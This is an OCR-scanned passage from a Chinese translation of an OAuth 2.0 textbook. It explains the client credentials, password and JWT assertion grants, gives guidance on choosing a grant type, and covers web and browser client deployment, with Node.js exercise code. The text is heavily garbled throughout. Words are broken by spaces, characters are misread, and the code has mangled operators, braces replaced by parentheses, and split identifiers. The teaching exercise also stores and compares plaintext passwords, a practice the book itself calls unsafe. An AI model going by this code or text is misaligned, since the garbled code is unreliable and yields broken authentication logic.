Authorization: Basic b2F1dGgtY2xpZW50LTE6b2F1dGgtY2xpZW50LXNIl1Y3Jl1dCOx 





grant type-client credentials&scope-foo$20bar 

授权 服务 器 返回 的 响应 就 是 一 个 普通 的 OAuth 令 牌 端点 响应 : 一 个 包含 令 牌 信息 的 JSON 对 
象 。 在 客户 端 凭据 许可 流程 中 不 会 颁发 刷新 令 牌 ,因为 我 们 认为 客户 端 能 够 随时 获取 新 令 牌 , 无 
须 单独 的 资源 拥有 者 参与 ， 因 此 在 这 种 情况 下 没有 必要 使 用 刷新 令 牌 。 


























HTTP 200 OK 
Date: Fri, 31 Jul 2015 21:19:03 GMT 
Content-type: application/json 


{ 
"access_token": "987tghjkiu6trfghjuytrghj", 
"scope": "foo bar", 
"token_type": "Bearer" 


j 

客户 端 使 用 该 令 牌 的 方式 与 其 他 许可 流程 的 令 牌 使 用 方式 没有 什么 不 同 , 而 受 保 护 资源 甚至 
不 必 关 心 令 牌 的 获取 方式 。 根 据 令 牌 是 由 用 户 授权 的 还 是 由 客户 端 直接 请 求 的 ， 令 牌 本 身 可 能 
会 关联 不 同 的 访问 权限 ， 但 这 种 不 同 可 以 通过 授权 策略 引擎 来 处 理 ， 它 可 以 根据 情况 做 出 不 同 
决策 。 

我 们 来 把 这 个 功能 添加 到 服务 器 和 客户 端 ,请 打开 ch-6-ex-2 目录 并 编辑 authorizationServer.js 
文件 。 进 入 令 牌 端点 处 理 函 数 ， 并 找到 授权 码 许可 类 型 的 处 理 代码 片段 。 









































if (req.body.grant type == 'authorization code') ( 


给 这 个 if 语句 添加 一 个 分 文 ， 用 于 处 理 客户 端 凭据 许可 类 型 。 





) else if (req.body.grant type -- 'client credentials') ( 

此 时 ， 代 码 已 经 验证 了 客户 端 在 令 牌 端点 出 示 的 客户 端 ID 和 密 钥 ， 我 们 现在 需要 做 的 是 确 
定 是 否 能 为 该 客户 端 颁发 令 牌 。 可 以 执行 一 系列 检查 , 包括 检查 请 求 的 权限 范围 是 否 与 允许 该 客 
户 端 请 求 的 权限 范围 相 匹配 , 检查 该 客户 端 是 否 能 够 使 用 这 种 许可 类 型 , 甚至 检查 客户 端 当前 是 
否 有 正在 颁发 的 令 牌 (我们 可 能 会 先 将 它 撤销 )。 在 这 个 简单 的 示例 中 ， 我 们 会 检查 权限 范围 ， 
在 此 借用 了 授权 码 许可 类 型 处 理 中 匹配 权限 范围 的 代码 。 












































var rscope = req.body.scope ? req.body.scope.split(' ') : undefined; 
var cscope - client.scope ? client.scope.split(' ') : undefined; 
if ( .difference(rscope, cscope).length > 0) ( 
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res.status(400).json((error: 'invalid scope')); 
return; 


权限 范围 和 许可 类 型 
因为 客户 端 凭据 许可 类 型 没有 任何 直接 的 用 户 交互 ,所 以 它 确实 是 为 可 信 的 后 端 系统 直接 
访问 服务 而 准备 的 。 有 了 这 种 能 力 , 最 好 让 资源 服务 器 在 处 理 请 求 时 能 够 区 分 交互 式 客户 端 和 
非 交互 式 客户 端 最 常用 的 方式 是 为 不 同类 型 的 客户 端 指定 不 同 的 权限 范围 ,在 授权 服务 器 的 
客户 端 注册 信息 中 管理 这 些 权 限 范 围 。 








检查 都 通过 之 后 ， 就 可 以 颁发 访问 令 牌 了 。 还 要 像 之 前 一 样 将 生成 的 令 牌 存 人 数据 库 。 





var access token = randomstring.generate(); 





var token response = { access token: access token, token type: 'Bearer', 
Scope: rscope.join(' ') Jj; 

nosql.insert(( access token: access token, client id: clientId, scope: 
rscope }); 

res.status(200).json(token response); 

return; 








现在 来 看 看 客户 端 。 编 辑 练习 中 的 clientjs 文件 ， 找 到 处 理 授 权 的 函数 。 














app.get('/authorize', function(req, res)( 


这 一 回 , 不 会 重 定 向 至 资源 拥有 者 , 而 是 直接 去 调用 令 牌 端点 。 仿照 在 授权 码 许 可 中 用 于 处 
理 回调 UR 的 代码 ， 发 出 一 个 简单 的 HTTP POST 请 求 ， 并 使 用 客户 端 凭据 以 HTTP 基本 认证 的 
方式 进行 身份 认证 。 




















var form data = qs.stringify(( 
grant type: 'client credentials', 
Scope: client.scope 


)); 


var headers = { 
'Content-Type': 'application/x-www-form-urlencoded', 
'Authorization': 'Basic ' « encodeClientCredentials(client.client id, 


client.client secret) 


s 


var tokRes = request('POST', authServer.tokenEndpoint, { 
body: form data, 
headers: headers 


Ys 
然后 , 像 之 前 一 样 从 响应 中 解析 出 令 牌 , 不 同 的 是 , 这 一 回 不 用 管 刷新 令 牌 。 为 什么 呢 ? 


为 客户 端 随时 可 以 在 无 须 用 户 参与 的 情况 下 独自 以 自己 的 身份 获取 令 牌 , 所 以 刷新 令 牌 没有 存在 
的 必要 了 。 
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if (tokRes.statusCode >= 200 && tokRes.statusCode < 300) { 
var body = JSON.parse(tokRes.getBody()); 
access, token = body.access, token; 


Scope - body.scope; 


res.render('index', (access token: access token, scope: scope)); 


} else ( 
res.render('error', (error: 'Unable to fetch access token, server 
response: ' + tokRes.statusCodeJ) 


) 


从 现在 开始 , 客户 端 就 可 以 像 之 前 那样 访问 资源 服务 器 了 。 受 保护 资源 则 无 须 改动 任何 处 理 
代码 ， 因 为 它 已 经 能 完成 接收 并 验证 访问 令 牌 的 工作 了 。 


6.1.3. 资源 拥有 者 凭据 许可 类 型 


如 果 资 源 拥 有 者 在 授权 服务 器 上 有 纯 文 本 的 用 户 名 和 密码 , 那么 客户 端 可 以 向 用 户 索 取 用 户 
的 凭据 ,然后 用 这 个 凭据 换取 令 牌 。 支持 客户 端 这 样 做 的 是 资源 拥有 者 凭据 许可 类 型 ， 也 叫 作 密 
码 流程 。 资 源 拥有 者 与 之 直接 交互 的 是 客户 端 ， 而 不 是 授权 服务 器。 这 种 许可 类 型 只 使 用 令 牌 端 
点 ， 并 且 只 通过 后 端 信道 通信 ( 如 图 6-3 所 示 )。 
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资源 拥有 者 凭据 许可 类 型 : 客户 端 
通过 后 端 信道 使 用 用 户 名 和 密码 换 
取 OAuth 令 牌 
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图 6-3 ”资源 拥有 者 凭据 许可 类 型 
此 刻 ， 你 可 能 觉得 这 种 方法 听 起 来 非常 熟悉 :“ 等 一 下 ， 第 1 章 不 是 说 过 这 是 一 种 糟糕 的 做 
法 吗 ? ” 没 错 ，OAuth 核心 规范 定义 的 这 一 许可 类 型 是 基于 “询问 密 钥 ” 反 模 式 的 。 的 确 ,， 在 一 
般 情 况 下 这 是 一 个 坏 主意 。 


























86 $63 现实 世界 中 的 OAuth 2.0 





将 这 一 反 模 式 编 入 规范 

回顾 一 下 : 为 什么 不 应 该 使 用 这 个 模式 ? 从 编程 实现 角度 来 看 ,这 种 模式 当然 比 充斥 着 来 
回 重 定向 的 处 理 更 简单 。 但 与 这 种 简单 性 相伴 的 是 安全 风险 的 剧 增 以 及 灵活 性 和 功能 性 的 降 
低 。 它 将 资源 拥有 者 的 凭据 以 明文 形式 暴露 给 客户 端 ,让 客户 端 能 够 将 凭据 缓存 并 且 随 意 使 用 。 
以 明文 形式 向 授权 服务 器 出 示 凭 据 (虽然 是 通过 TLS 加 密 连 接 ) 并 由 授权 服务 器 加 以 验证 ， 
会 露出 另 一 个 潜在 的 攻击 面 。 它 不 像 OAuth 令 牌 可 以 撤回 或 者 轮换 而 不 会 影响 用 户 体 验 ， 管 
理 和 修改 用 户 的 用 户 名 和 密码 则 困难 得 多 ,收集 和 使 用 凭据 的 要 求 也 限制 了 可 用 于 认证 用 户 身 
份 的 凭据 种 类 。 虽 然 供 Web 浏览 器 访问 的 授权 服务 器 能 够 采用 各 种 主要 的 身份 认证 技术 和 用 
户 体验 方式 (例如 证 书 或 者 联合 身份 认证 )， 但 是 其 中 许多 最 有 效 且 最 安全 的 身份 认证 技术 是 
不 允许 使 用 凭据 的 , 而 这 正 是 这 种 许可 类 型 所 依赖 的 。 这 实际 上 让 我 们 只 能 选择 使 用 明文 的 用 
户 名 和 密码 或 者 类 似 的 方式 进行 身份 认证 。 最 终 ， 这 种 方式 让 用 户 养 成 了 习惯 ,只 要 应 用 要 求 
和 输入 密码 ， 就 从 不 拒绝 。 而 这 是 不 对 的 ， 我 们 应 该 引导 用 户 只 在 可 信 的 核心 应 用 中 输入 密码 ， 
比如 授权 服务 器 。 

但 OAuth 为 什么 要 将 如 此 不 妥 的 做 法 编 入 规范 呢 ? 当 有 其 他 选择 的 时 候 ， 这 种 许可 类 型 
确实 是 一 个 坏 主 意 , 但 并 不 总 是 有 其 他 选择 。 这 种 许可 类 型 是 为 那些 通常 要 求 资源 拥有 者 输入 
用 户 名 和 密码 , 然后 向 所 有 受 保护 资源 使 用 这 些 凭 据 的 客户 端 而 准备 的 。 为 了 避免 不 断 烦 扰 用 
P, 这 种 客户 端 一 般 会 将 用 户 名 和 密码 保存 起 来 ,以 便 将 来 使 用 。 受 保护 资源 需要 在 每 一 个 请 
求 处 理 中 查看 并 验证 用 户 密 码 ， 这 极 大 地 增加 了 对 敏感 信息 的 攻击 面 。 

这 种 许可 类 型 为 实现 更 加 现代 化 的 安全 架构 铺 平 了 道路 ， 这 些 架 构 使 用 了 OAuth 的 其 他 
更 安全 的 许可 类 型 。 一 方面 ， 受 保护 资源 无 须 再 查看 用 户 密 码 ， 而 只 需要 处 理 OAuth 令 牌 。 
这 立马 缩小 了 用 户 凭据 在 网 络 上 的 暴露 面 ,也 减少 了 需要 查看 用 户 凭 据 的 组 件数 量 。 另 一 方面 ， 
对 这 一 许可 类 型 运用 得 当 的 客户 端 应 用 不 再 需要 存储 用 户 密码 ， 也 无 须 向 资源 服务 器 发 送 密 
码 。 客 户 端 使 用 用 户 凭 据 换取 访问 令 牌 ， 用 于 访问 不 同 的 受 保 护 资源 。 结 合 刷新 令 牌 的 使 用 ， 
用 户 体 验 没 有 变化 ,但 安全 等 级 相对 于 之 前 的 方案 有 了 很 大 提高 。 虽 然 授权 码 许可 类 型 是 首选 ， 
但 这 种 许可 类 型 有 时 也 比 在 每 个 请 求 中 使 用 用 户 密码 好 得 多 。 














这 种 许可 类 型 的 工作 方式 很 简单 。 客 户 端 收集 用 户 的 用 户 名 和 密码 ( 使 用 什么 样 的 交互 接口 
由 客户 端 决定 )， 然 后 将 它们 发 送 至 授权 服务 屁 。 


POST /token 

Host: localhost:9001 

Accept: application/json 

Content-type: application/x-www-form-encoded 

Authorization: Basic b2F1dGgtY2xpZW50LTE6b2F1dGgtY2xpZW50LXN1Y3Jl1dCOx 














grant type-password&scope-foo$20bar&username-alice&password-secret 


授权 服务 器 从 收 到 的 请 求 中 取出 用 户 名 和 密码 ， 并 与 本 地 存储 的 用 户 信息 对 比 。 如 果 匹 配 ， 
则 授权 服务 融 向 客户 端 颁发 令 牌 。 
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如 果 你 认为 这 很 像 “ 中 间 人 攻击 ”， 的 确 差不多 。 我 们 知道 不 应 该 这 样 做 ， 也 知道 其 中 的 原 
因 , 但 还 是 要 将 它 构建 出 来 , 希望 你 明白 以 后 哪些 是 应 该 尽力 避免 的 。 希望 你 能 从 组 合 数据 的 方 
式 中 看 出 这 种 许可 类 型 的 固有 问题 。 请 打开 ch-6-ex-3 目录 并 编辑 authorizationServerjs 文件 。 由 
于 这 是 一 个 使 用 后 端 信道 的 流程 , 我 们 会 再 次 在 令 牌 端点 上 处 理 请 求 。 请 查看 授权 码 许可 类 型 的 
处 理 代码 。 

















if (req.body.grant type == 'authorization code') ( 
要 在 这 个 if 语句 后 面 添加 一 个 分 支 ， 在 grant_type 参数 中 查找 password 值 。 
} else if (req.body.grant type == 'password') { 


请 注意 ,至 此 , 我 们 已 经 对 客户 端 进行 了 检查 和 身份 认证 ， 所 以 现在 要 查找 资源 拥有 者 。 在 
这 个 简单 的 示例 中 ， 将 用 户 信 息 保存 在 一 个 名 为 userInfo 的 内 存 数据 结构 中 。 在 生产 系统 中 ， 
用 户 信 息 (包括 密码 ) 很 可 能 存储 在 数据 库 或 菜 种 目录 中 。 我 们 提供 了 一 个 简单 的 查找 函数 ,用 
于 基于 用 户 名 获取 用 户 信息 对 象 。 

var getUser = function(username) ( 


return userInfo[username]; 


H 

这 个 函数 的 实现 细节 与 OAuth 功能 无 关 ， 因 为 在 生产 系统 中 很 可 能 会 使 用 数据 库 或 者 其 他 
的 存储 方案 来 存储 用 户 信息 。 我 们 将 使 用 该 函数 来 查找 传人 的 用 户 名 并 确定 用 户 是 否 存在 ,如果 
不 存在 则 返回 错误 信息 。 


var username = req.body.username; 














var user - getUser(username); 

if (!user) ( 
res.status(401).json((error: 'invalid grant')); 
return; 


) 

下 一 步 , 要 检查 传人 的 密码 是 否 与 用 户 信息 中 的 一 致 。 由 于 我 们 存储 的 用 户 信息 很 简单 并 且 
密码 是 明文 ,因此 只 需要 进行 简单 的 字符 串 比较 。 在 任何 健全 的 生产 系统 中 ,密码 都 应 该 以 散 列 
形式 存储 并 且 最 好 做 加 盐 处理 。 如 果 密 码 不 一 致 ， 则 返回 错误 信息 。 


var password = req.body.password; 



































if (user.password !- password) ( 
res.status(401).json((error: 'invalid grant')); 
return; 


) 
客户 端 还 可 以 传人 scope 参数 ， 因 此 可 以 执行 与 前 面 练习 中 一 样 的 权限 范围 检查 。 








var rscope = req.body.scope ? req.body.scope.split(' ') : undefined; 
var cscope - client.scope ? client.scope.split(' ') : undefined; 
if ( .difference(rscope, cscope).length > 0) ( 


res.status(401).json((error: 'invalid scope')); 
return; 


} 
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完成 所 有 的 检查 之 后 ,就 可 以 生成 并 返回 令 牌 了 。 请 注意 , 还 可 以 生成 刷新 令 牌 (我 们 的 练 
习 中 这 样 做 了 )。 为 客户 端 提供 刷新 令 牌 之 后 ， 它 就 不 需要 再 保存 用 户 的 密码 了 。 














var access token = randomstring.generate(); 
var refresh token - randomstring.generate(); 


nosql.insert(( access token: access token, client id: clientId, scope: rscope }); 
nosql.insert(( refresh token: refresh token, client id: clientId, scope: rscope }); 


var token response = { access token: access token, token type: 'Bearer', 
refresh token: refresh token, scope: rscope.join(' ') ); 


res.status(200).json(token response); 

这 会 生成 一 个 普通 的 JSON 对 象 , 通过 令 牌 端点 返回 。 该 令 牌 在 功能 上 与 通过 其 他 OAuth YT 
可 类 型 获取 的 令 牌 没有 区 别 。 
在 客户 端 , 首先 需要 让 用 户 输入 他 们 的 用 户 名 和 密码 。 我 们 已 经 在 客户 端 页 面 中 制作 了 一 个 
提示 用 户 输入 用 户 名 和 密码 的 表单 ， 以 此 来 获取 令 牌 (如 图 6-4 所 示 )。 



































Get an access token 


password 








图 6-4 ”提示 用 户 输入 用 户 名 和 密码 的 客户 端 页面 


本 练习 中 使 用 的 用 户 名 是 Alice, iE password， 这 是 授权 服务 器 中 userinfo 集合 里 的 
第 一 个 用 户 。 如 果 用 户 输入 了 用 户 名 和 密码 并 点 击 按钮 ， 和 凭据 会 通过 HTTP POST 请 求 被 发 送 至 
客户 端的 /username_password 端点 。 现 在 需要 为 这 个 请 求 设置 监听 函数 。 






























































app.post('/username password', function(req, res) ( 
Fia 


从 收 到 的 请 求 中 取出 用 户 名 和 密码 , 并 原样 传 给 授权 服务 器 , 这 就 像 是 一 种 善意 的 中 间 人 攻 
击 。 与 真正 的 中 间 人 攻击 不 同 ,我 们 没有 作恶 ， 而 是 立即 将 刚刚 收 到 的 用 户 名 和 密码 忘掉 ， 因 为 
我 们 马上 就 能 得 到 访问 令 牌 。 





























var username 
var password 


- req.body.username; 

- req.body.password; 

var form data = qs.stringify(( 
grant type: 'password', 
username: username, 
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password: password, 
Scope: client.scope 
)); 


var headers = ( 
'Content-Type': 'application/x-www-form-urlencoded', 
'Authorization': 'Basic ' « encodeClientCredentials(client.client id, 


client.client secret) 


un 


var tokRes = request('POST', authServer.tokenEndpoint, ( 
body: form data, 

headers: headers 

)); 

从 授权 服务 器 令 牌 端点 返回 的 响应 符合 我 们 的 预期 , 所 以 从 中 解析 出 访问 令 牌 , 让 客户 端 应 
用 继续 下 一 步 工 作 ， 和 暂时 对 我 们 刚刚 犯 下 的 安全 性 错误 假装 不 知 。 





if (tokRes.statusCode »- 200 && tokRes.statusCode < 300) ( 
var body = JSON.parse(tokRes.getBody()); 


access, token = body.access, token; 
Scope - body.scope; 


res.render('index', (access token: access token, refresh token: refresh. 
token, scope: scope); 


j else ( 
res.render('error', (error: 'Unable to fetch access token, server 
response: ' + tokRes.statusCodeJ) 


) 

客户 端的 其 余 代 码 无 须 改变 。 此 处 获取 的 访问 令 牌 会 以 完全 相同 的 方式 出 示 给 受 保护 资源 ， 
而 受 保护 资源 也 完全 不 知道 用 户 刚刚 以 明文 形式 向 我 们 展示 了 用 户 名 和 密码 。 特 别提 醒 一 下 , 在 
原来 的 方法 中 , 客户 端 会 在 每 一 个 请 求 中 直接 向 受 保护 资源 使 用 用 户 凭 据 。 在 现在 使 用 的 这 种 许 
可 类 型 中 , 虽然 客户 端 并 没有 做 到 最 好 , 但 是 至 少 受 保护 资源 无 须 再 以 任何 形式 查看 用 户 赁 据 了 。 

现在 你 已 经 知道 如 何 使 用 此 种 许可 类 型 了 ， 但 是 如 果 有 可 能 避免 ， 请 不 要 在 现实 中 使 用 它 。 
这 种 许可 类 型 只 能 作为 过 渡 方案 ， 用 于 那些 原本 就 直接 索取 用 户 名 和 密码 但 要 转投 OAuth 怀抱 
的 客户 端 ， 而 且 应 该 尽快 将 这 样 的 客户 端 转 到 授权 码 许可 流程 上 来 。 因 此 ， 除 非 没 有 其 他 选择 ， 
否则 不 要 使 用 这 种 许可 类 型 。 互 联网 在 此 感谢 你 。 





















































6.1.4 断言 许可 类 型 


新 言 许可 类 型 是 由 OAuth 工作 组 发 布 的 第 一 个 官方 扩展 许可 类 型 。 在 这 种 许可 类 型 下 ， 客 
户 端 会 得 到 一 条 结构 化 的 且 被 加 密 保 护 的 信息 , 叫 作 断 言 ， 使 用 断言 向 授权 服务 器 换取 令 牌 。 可 














(D RFC 7521: https://tools.ietf.org/html/rfc 7521 v 
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re 难过 认证 的 文档 , 例如 文 赁 或 者 许可 证 。 只 要 你 信任 认证 机 构 能 确保 声明 的 
真实 性 ， 就 可 以 相信 文档 中 的 内 容 也 是 真实 的 ( 如 图 6-5 所 示 )。 


客户 端 使 用 一 种 经 过 加 
密 保护 的 信息 (断言 ) 
换取 令 牌 


MH 








客户 端 受 保护 资源 
图 6-5 ”断言 许可 类 型 族 


目前 有 两 种 标准 化 的 断言 格式 : 一 种 使 用 安全 断言 标记 语言 ( SAML )," 男 一 种 使 用 JSON 
Web Token( JWT,“ 会 在 第 11 章 介绍 )。 这 种 许可 类 型 只 使 用 后 端 信道 ， 与 客户 端 凭据 许可 类 型 
很 相似 , 没有 明确 的 资源 拥有 者 参与 。 与 客户 端 凭据 流程 不 同 的 是 ， 由 此 颁发 的 令 牌 所 关联 的 权 
限 取决 于 所 出 示 的 断言 , 而 不 仅仅 取决 于 客户 端 本 吴 。 由 于 断言 一 般 来 自 于 客户 端 之 外 的 第 三 
因此 客户 端 可 以 不 知道 断言 本 身 的 含义 。 

与 其 他 后 端 信道 流程 类 似 ， 客 户 端 要 向 授权 服务 器 的 令 牌 端点 发 送 一 个 HTTP POST 请求。 
客户 端 需要 像 往 常 一 样 进行 身份 认证 , 还 要 将 断言 作为 参数 传递 给 授权 服务 器 。 客 户 端 获 取 断 言 
的 方式 多 种 多 样 ， 而 且 很 多 关联 协议 没有 涵盖 这 方面 的 内 容 。 客 户 端 可 以 从 用 户 那 里 获得 断言 ， 
也 可 以 从 某 个 配置 系统 或 者 通过 其 他 非 OAuth 协议 获得 断言 。 与 访问 令 牌 一 样 ， 最 终 只 要 客户 
端 能 向 授权 服务 需 出 示 断 言 即 可 , 至 于 客户 端 如 何 获得 断言 则 不 是 该 许可 类 型 所 关心 的 。 在 本 示 
例 中 ， 客 户 端 会 出 示 一 个 JWT 断言 ， 这 能 通过 grant_type 的 值 反映 出 来 。 

POST /token HTTP/1.1 

Host: as.example.com 


Content-Type: application/x-www-form-urlencoded 
Authorization: Basic b2F1dGgtY2xpZW50LTE6b2F1dGgtY2xpZW50LXN1Y3Jl1dCOx 
























































grant type-urn?*$33Aietf?$33Aparams?$93Aoauth?s33Agrant-type?$33Ajwt-bearer 
&assertion-eyJOeXAiOiJKV1QiLCJhbGciOiJSUzI1NilsImtpZCI6InJzYSOxInO0.eyJpc3MiOi 
JodHRwOi8vdHJ1c3QuZXhhbXBsZS5uZXQvIiwic3Viljoib2F1dGgtY2xpZW50LTEiLCJzY29wZSI 








(D RFC 7522: https://tools.ietf.org/html/rfc 7522 , 
© RFC 7523: https://tools.ietf.org/html/rfc 7523, 
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6ImZvbyBiYXIgYmF6IiwiYXVkIjoiaHROcDovL2F1dGhzZXJ2ZXIuZXhhbXBsZS5uZXQvdG9rZW41i 
LCUPYXQOiOJjEONJU1LODI5NTYSImV4cCI6MTO2NTczMzI1NiwianRpPIjoiWDO1cDM1SWZPckRZTmxXO 
G9BQ29Xb1djMDQ3V2J3djIifQ.HGCeZh79Va-7meazxJEtm07ZyptdLDu, Oocfw82F1zAT2P6NP6Ia_ 
vEZTKzGhI3HdqXsUG3uDILBv337VNweWYE7F9ThNgDVD90UYGzZN5VlLf9bzjnB2CDjUWXBhgepSy 
aSfKHOhfyjoLnb2uHg2BUb5YDNYkb5oqaBT tyN7k PSoptiXZyYIAf6-5VTweECUjdpwrUUXGZOfl 
a8s6RIFNosqt5e6j0CsZ7Eb zYEhfWXPOO0NDRXUIG3KN6DCA-ES6D1TWODm2UuJLb-LfzCWSA1W . 
SZZz6jxbclnP6c6Pf8upBOIC9EvXqCseoPAykyRA8KeW8tcd5ki3 tPtI7vA 


请 求 正文 中 的 示例 断言 解密 之 后 为 : 


( 





"iss": "http://trust.example.net/", 

"Sub": "oauth-client-1", 

"Scope": "foo bar baz", 

"aud": "http://authserver.example.net/token", 


"iat": 1465582956, 

"exp": 1465733256, 

"jti": "XA45p35IfOrDYN1W80ACOWOWCO47Wbwv2" 
j 


授权 服务 器 解析 断言 ， 检 查 其 加 密 保 护 ,并 处 理 其 内 容 以 确定 要 生成 何 种 令 牌 。 该 断言 可 以 
表示 许多 不 同 的 信息 , 例如 资源 拥有 者 的 身份 或 者 一 组 被 允许 的 权限 范围 。 授 权 服务 器 通常 会 有 
一 个 策略 ,用 于 决定 接受 哪些 签发 方 的 断言 并 为 断言 的 含义 制定 解释 规则 。 最 终 , 会 像 令 牌 端点 
的 其 他 响应 一 样 , 生成 一 个 访问 令 牌 。 然 后 客户 端 得 到 该 令 牌 ,并 以 常规 的 方式 用 它 来 访问 受 保 
护 资源 。 

这 种 许可 类 型 在 实现 上 与 其 他 只 使 用 后 端 信道 的 流程 类 似 , 都 是 由 客户 端 向 令 牌 端点 出 示 信 
息 , 然后 授权 服务 器 直接 颁发 令 牌 。 在 现实 世界 中 , 你 可 能 会 发 现 断言 许可 类 型 仅 用 于 有 限 的 环 
境 中 , 通常 是 企业 。 以 安全 的 方式 生成 并 处 理 断 言 是 一 个 高 级 话题 ， 得 用 专著 进行 介绍 ， 而 断言 
许可 流程 的 实现 则 作为 额外 练习 留 给 你 去 完成 。 


6.1.5 选择 合适 的 许可 类 型 


有 这 么 多 的 许可 类 型 ,似乎 很 难 判定 到 底 哪 一 个 才 最 合适 。 所 垃 ， 有 一 些 好 用 的 基本 法 则 能 
够 指导 你 做 出 正确 的 选择 ( 如 图 6-6 所 示 )。 

客户 端 是 否 代表 特定 的 资源 拥有 者 ? 你 是 否 可 以 通过 用 户 的 Web 浏览 器 将 其 引导 至 一 个 网 
页 ? 如 果 可 以 ， 就 使 用 基于 重 定 向 的 许可 流程 : 授权 码 或 者 隐 式 许可 流程 。 至 于 使 用 哪个 ， 取 决 
于 客户 端 。 

客户 端 是否 完 全 运行 在 浏览 器 内 ? 这 不 包括 在 服务 器 上 运行 但 用 户 界面 需要 通过 浏览 器 访 
问 的 应 用 ， 只 有 从 启动 到 消亡 都 完全 在 浏览 器 内 执行 的 应 用 才 算 。 如 果 是 这 样 , 则 应 该 使 用 隐 式 
许可 类 型 ， 因 为 它 就 是 专门 针对 此 情况 而 做 的 优化 。 如 果 不 是 ， 则 要 么 运行 在 Web 服务 右上 ， 
要 么 原生 运行 在 用 户 的 计算 机 上 , 这 种 情况 下 应 该 使 用 授权 码 许可 类 型 ,因为 这 种 类 型 具有 最 强 
的 安全 性 和 灵活 性 。 
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资源 拥有 者 凭据 l 
是 添加 PKCE 
是 否 为 原生 客户 端 ? | 9 
AE 
T 


l 根据 应 用 类 型 选择 合适 的 


OAuth 许 可 类 型 


图 6-6 选择 正确 的 许可 类 型 


客户 端 是 原生 应 用 吗 ? 你 应 该 已 经 在 使 用 授权 码 许可 流程 了 ， 但 是 你 会 在 第 7 章 、 第 10 章 
以 及 第 12 章 看 到 ， 还 应 该 在 授权 码 许可 类 型 的 基础 上 使 用 特定 的 安全 扩展 ， 比 如 动态 注册 
( DynReg ) 或 者 代码 交换 证 明 密 钥 ( PKCE )。 本 章 后 续 介 绍 原 生 应 用 时 会 深入 探讨 这 些 内 容 。 

客户 端 代表 自身 吗 ? 这 种 情况 包括 不 针对 单个 用 户 的 API 访 问 , 比如 大 批量 数据 传输 。 如 果 
是 这 样 , 则 应 该 使 用 客户 端 凭据 许可 流程 .如 果 你 使 用 的 API 需 要 通过 参数 指定 作用 于 哪个 用 户 ， 
则 应 该 考虑 使 用 基于 重 定向 的 许可 流程 ， 因 为 这 样 才能 实现 个 性 化 的 审核 和 同意 。 

客户 端 是 否 在 权威 性 第 三 方 的 指示 下 运行 ? 这 个 第 三 方 是 否 能 直接 提供 一 些 证 明 , 让 你 能 够 
代表 它 执行 任务 ?如果 是 这 样 , 则 应 该 使 用 断言 许可 流程 。 使 用 哪 种 断言 许可 则 取决 于 授权 服务 
器 和 颁发 断言 的 第 三 方 。 
客户 端 是 否 无 法 在 浏览 器 中 对 用 户 重 定向 ?用户 是 否 具有 能 够 提供 给 你 的 简单 用 户 凭 据 ? 
是 否 没 有 其 他 选择 ? 如 果 是 这 样 ,那么 可 以 使 用 资源 拥有 者 凭据 许可 流程 ,但 要 注意 它 的 局 限 性 。 
别 说 我 们 没 提醒 过 你 。 


























































































































6.2 ”客户 端 部 署 


OAuth 客户 端的 形式 和 风格 多 种 多 样 ， 但 可 以 粗略 地 分 成 3 类 : Web 应 用 、 浏 览 器 应 用 和 原 
生 应 用 。 它 们 各 有 优 缺 点 ， 下 面 会 依次 介绍 。 








6.2.1 Web 应 用 


OAuth 客户 端 最 初 的 应 用 场景 就 是 Web 应 用 。 这 类 应 用 运行 在 远程 服务 器 上 , 需要 通过 Web 
浏览 器 访问 。 应 用 的 配置 和 运行 时 状态 由 Web 服务 器 维护 ， 通 常 使 用 会 话 cookie SA VE d PIRE 
连接 。 

这 类 应 用 能 充分 利用 前 端 信道 和 后 端 信 道 这 两 种 通信 方式 。 由 于 用 户 已 经 在 使 用 浏览 器 进行 
交互 ， 因 此 在 前 端 信道 上 发 送 请 求 非常 简单 ， 向 浏览 器 发 送 HTTP 重 定向 消息 即 可 。 监 听 前 端 信 
道上 的 响应 也 很 简单 ， 和 监听 HTTP 请 求 没有 区 别 。 由 运行 应 用 的 Web 服务 器 直接 发 出 HTTP 
请 求 ， 即 可 产生 后 端 信道 通信 。 由 于 具有 这 样 的 灵活 性 ，Web 应 用 很 容易 有 效 地 使 用 授权 码 、 客 
户 端 凭据 或 者 断言 许可 流程 。 由 于 浏览 器 一 般 不 会 将 请 求 URI 中 的 片段 部 分 发 送 给 服务 器 ， 大 
多 数 情况 下 隐 式 许可 流程 不 适用 于 Web 应 用 。 

我 们 已 经 在 第 2 章 和 第 3 章 给 出 了 多 个 Web 应 用 示例 ， 所 以 不 打算 在 此 再 做 深入 介绍 。 


6.2[.2 ”浏览 器 应 用 


浏览 器 应 用 完全 运行 在 浏览 器 内 ， 一 般 使 用 JavaScript。 虽 然 应 用 的 代码 确实 需要 由 Web 服 
务 器 提供 ， 但 代码 本 身 并 不 在 服务 器 上 运行 ，Web 服务 器 也 不 会 维护 应 用 的 任何 运行 时 状态 。 应 
用 的 所 有 执行 动作 都 发 生 在 最 终 用 户 计算 机 的 浏览 器 内 。 

这 类 应 用 很 容易 使 用 前 端 信道 , 通过 HTTP 重 定向 将 用 户 转 至 另 一 页 面 。 前 端 信道 响应 也 很 
简单 ， 因 为 客户 端 软件 本 来 就 需要 从 Web 服务 器 加 载 。 但 是 ， 后 端 信道 通信 就 有 些 复杂 了 ， 因 
为 浏览 器 应 用 受 限于 同 源 策略 以 及 其 他 安全 限制 条 件 , 这 些 限制 是 为 了 防止 跨 站 攻击 。 因 此 , 最 
适合 这 类 应 用 的 是 隐 式 许可 流程 ， 该 许可 流程 就 是 针对 这 种 应 用 场景 而 做 的 优化 。 

接 下 来 亲眼 看 看 浏览 器 应 用 。 请 打开 ch-6-ex-4 目录 并 编辑 files/client/index.html 文件 。 与 本 
书 中 其 他 示例 不 同 的 是 ， 这 一 次 不 会 编辑 Node.js 代码 ， 而 是 要 查看 运行 在 浏览 器 中 的 代码 。 为 
了 能 正常 运行 ,仍然 需要 客户 端 配置 和 授权 服务 器 配置 。 与 Web 应 用 一 样 ， 我 们 在 主 函 数 最 开 
始 的 位 置 以 对 象 的 形式 提供 这 些 配 置 。 

























































































































































































var client = ( 
'client id': 'oauth-client-1', 
'redirect uris': ['http://localhost:9000/callback'], 
'scope': 'foo bar' 

H 

var authServer - ( 


authorizationEndpoint: 'http://localhost:9001/authorize' 
H 


var protectedResource = 'http://localhost:9002/resource'; 


当 用 户 点 击 授权 按钮 时 , 会 向 授权 服务 器 的 授权 端点 发 送 一 个 前 端 信道 请 求 。 首 先 ， 生成 一 
个 状态 值 ， 并 将 其 保存 在 HTMLS 的 本 地 存储 中 ， 以 便 稍 后 能 将 它 取出 。 
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generateState(32); 
'oauth-state', 


var state 
localStorage.setItem( 


